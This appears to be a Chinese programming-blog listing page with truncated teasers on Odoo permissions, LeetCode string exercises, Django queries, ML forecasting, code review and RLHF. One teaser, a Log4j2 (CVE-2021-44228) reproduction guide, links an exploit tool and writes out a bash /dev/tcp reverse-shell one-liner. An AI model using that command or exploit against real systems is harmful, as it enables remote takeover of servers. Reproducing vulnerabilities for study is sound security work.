电能 模型 需求 代码
odoo 模型权限 ir.model.access
odoo权限分两种，一种是菜单，一种是模型，这里介绍模型权限 开发好一个模型以后，先要在security文件夹中创建一个ir_model_access.css文件，然后设置权限，如下图：  { var arr = $("#" + id).serializeArray();//form表单序列化 var jsonStr = ""; jsonStr += '{'; for (var i = 0; ......
ChatGPT 助力开发人员改进代码的5个方式
ChatGPT是一个由 OpenAI训练的大型语言模型，本文将向您展示如何使用 ChatGPT 帮助开发人员完成从编码到文档和测试等各种任务。 ......
odoo ir.model.data 外部标识模型
所有xml文件定义的record都保存在这个表，比如第一个图中定义的 cn_com_brandmax_product_action2，在第2个图的表中存储：  主要还是裁剪rtthread系统 参考文章：[固件尺寸优化](https://www.rt ......
CVE-2021-44228 Apache log4j2远程代码执行漏洞
漏洞复现 验证是否存在apache log4j2漏洞 https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0 反弹shell bash -i >& /dev/tcp/ip/port 0>&1 将此命令进行javarunti ......
GitHub中提交代码说明时添加emoji小图标
# 效果  # emoji网站 https://gitmoji.dev/ # 参考文档 https://blog.cs ......
代码随想录算法训练营第九天| 复习字符串和双指针法（看卡哥文章复习）
KMP算法就是在一个字符串中寻找另一个子串，避免了“跳回下一个字符再重新匹配”，实现了在一次字符串的遍历过程中就可以匹配出子串。 28. 实现 strStr() （本题可以跳过） 卡哥建议：因为KMP算法很难，大家别奢求 一次就把kmp全理解了，大家刚学KMP一定会有各种各样的疑问，先留着，别期望立 ......
MATLAB用改进K-Means(K-均值)聚类算法数据挖掘高校学生的期末考试成绩|附代码数据
全文链接：http://tecdat.cn/?p=30832 最近我们被客户要求撰写关于K-Means(K-均值)聚类算法的研究报告，包括一些图形和统计输出。 本文首先阐明了聚类算法的基本概念，介绍了几种比较典型的聚类算法，然后重点阐述了K-均值算法的基本思想，对K-均值算法的优缺点做了分析，回顾了 ......
Python用RNN神经网络：LSTM、GRU、回归和ARIMA对COVID19新冠疫情人数时间序列预测|附代码数据
全文下载链接： http://tecdat.cn/?p=27042 最近我们被客户要求撰写关于新冠疫情的研究报告，包括一些图形和统计输出。 在本文中，该数据根据世界各国提供的新病例数据提供。 获取时间序列数据 df=pd.read_csv("C://global.csv") 探索数据 此表中的数据以 ......
代码随想录算法训练营第八天| LeetCode 344.反转字符串 541. 反转字符串II 151.翻转字符串里的单词
344.反转字符串 卡哥建议： 本题是字符串基础题目，就是考察 reverse 函数的实现，同时也明确一下 平时刷题什么时候用 库函数，什么时候 不用库函数 题目链接/文章讲解/视频讲解：https://programmercarl.com/0344.%E5%8F%8D%E8%BD%AC%E5%AD ......
使用 Habana Gaudi2 加速视觉语言模型 BridgeTower
在对最先进的视觉语言模型 BridgeTower 进行微调时，使用 [Optimum Habana v1.6](https://github.com/huggingface/optimum-habana/tree/main)， Habana Gaudi2 可以达到 **近 3 倍于 A100 的速度 ......
代码评审，揭示黑盒背后的真相
# 一、引言 黑盒测试犹如案发现场，只能根据表象推断事件经过。 代码评审即深入调查，挖掘蛛丝马迹的线索，揭示背后的真相。 "They think I am hiding in the shadows, but I am the shadows." ![](https://img2023.cnblog ......
Python基础day59Django模型层查询
外键字段的增删改查、多表查询（子查询和连表查询）、正反向的概念、子查询、多表查询之连表查询（基于双下划线的查询）、聚合查询（aggregate）、分组查询（annotate）、F查询、Q查询、Django中如何开启事务 ......
工程代码知识
1. 引入自定义模块： ```python import sys sys.path.append("/home/xxx/workspace/") ``` 2. 多进程分布式： ``` from multiprocessing import Pool with Pool(5) as p: # 将mul ......
[算法学习笔记] [算法总结] dp背包模型
### 前言 dp背包模型属dp的一种，可以帮助我们快速的转移状态，解题。dp背包模型题的关键是判断这是哪种背包，属于什么类型的dp，只有判断出这是什么类型的背包，才能进一步朝这个方向思考。 ### 01背包 01背包的常规形式是有$n$种物品，每间物品都有重量和价值两个参数。每件物品都可以选or不 ......
[代码随想录]Day08-字符串 part02
## 题目：[28. 找出字符串中第一个匹配项的下标](https://leetcode.cn/problems/find-the-index-of-the-first-occurrence-in-a-string/) ### 思路： 说白了就是匹配字符串，朴素就是暴力以每一个位置为起点都跑一遍。 ......
开源大模型训练框架 colossal AI chat 、 DeepSpeed chat
Colossal-AI是一个专注于大规模模型训练的深度学习系统，Colossal-AI基于PyTorch开发，旨在支持完整的高性能分布式训练生态。Colossal-AI已在GitHub上开源。 在Colossal-AI中，我们支持了不同的分布式加速方式，包括张量并行、流水线并行、零冗余数据并行、异构 ......
领域设计的贫血模型和充血模型
在领域实体Dao中，实体可以设计为贫血模型和充血模型。 贫血模型只包含见到的get和set方法，不包含业务逻辑，是简单的POJO,所有的业务逻辑都放在service层。 这种模型并不是面向对象的，和对象相关以来的逻辑被解耦到了业务层，优点是模型很简单，缺点是service层的逻辑负责繁重。 充血模型 ......
《软件测试的艺术》原书第三版 - 第三章 - 代码检查、走查与评审
# 第三章 代码检查、走查与评审 发现了一句有趣的话： > 从内部产生的压力似乎会急剧增长，并产生一个趋势，要“尽可能快地修正这个缺陷”。由于这些压力的存在，程序员在改正某个由基于计算机测试发现的错误时所犯的失误，要比改正早期发现的问题时所犯的失误更多一些。 太紧张了？ ## 代码检查与走查 > 代 ......
Mybatis-Plus代码生成器的使用
通常我们在做项目的时候，要手动搭建项目的结构，如controller，service，mapper，entity，是不是很麻烦，特别是数据库表特别多时，现在介绍一下使用MybatisPlus时怎么自动生成这些代码。 1. 首先要在项目的pom.xml里引入必要的依赖，如下： ~~~xml com.b ......
高质量代码究竟依赖设计还是重构而来？
[点击链接了解详情](https://coding.net/?utm_source=channel)  1、 2、 3、 二、聚合查询(aggregate) 1、 2、 三、分组查询annotate 1、 2、 四、F与Q查询 五、django中如何开启事务 ......
WPF svg转path（快速生成Path代码的方法）
在使用WPF的Path作图时，我们可能会拿到美工出的一些比较复杂的图，今天查阅网上发现svg是可以自动转path的，特作记录。 github:https://github.com/BerndK/SvgToXaml 设置途中项目为启动项目，然后点击svg图片 你是不是以为复制上面的M0，0一直到Z就O ......
John Schulman：RLHF的实施与挑战 —— 通过强化学习缓解大模型输出幻觉(Hallucinations)的思考
John Schulman，研究科学家、OpenAI联合创始人；加州大学伯克利分校计算机科学博士，师从Pieter Abbeel。现领导OpenAI强化学习团队。 本文是对John Schulman(下文中简称为JS)的报告《Reinforcement Learning from Human Fee ......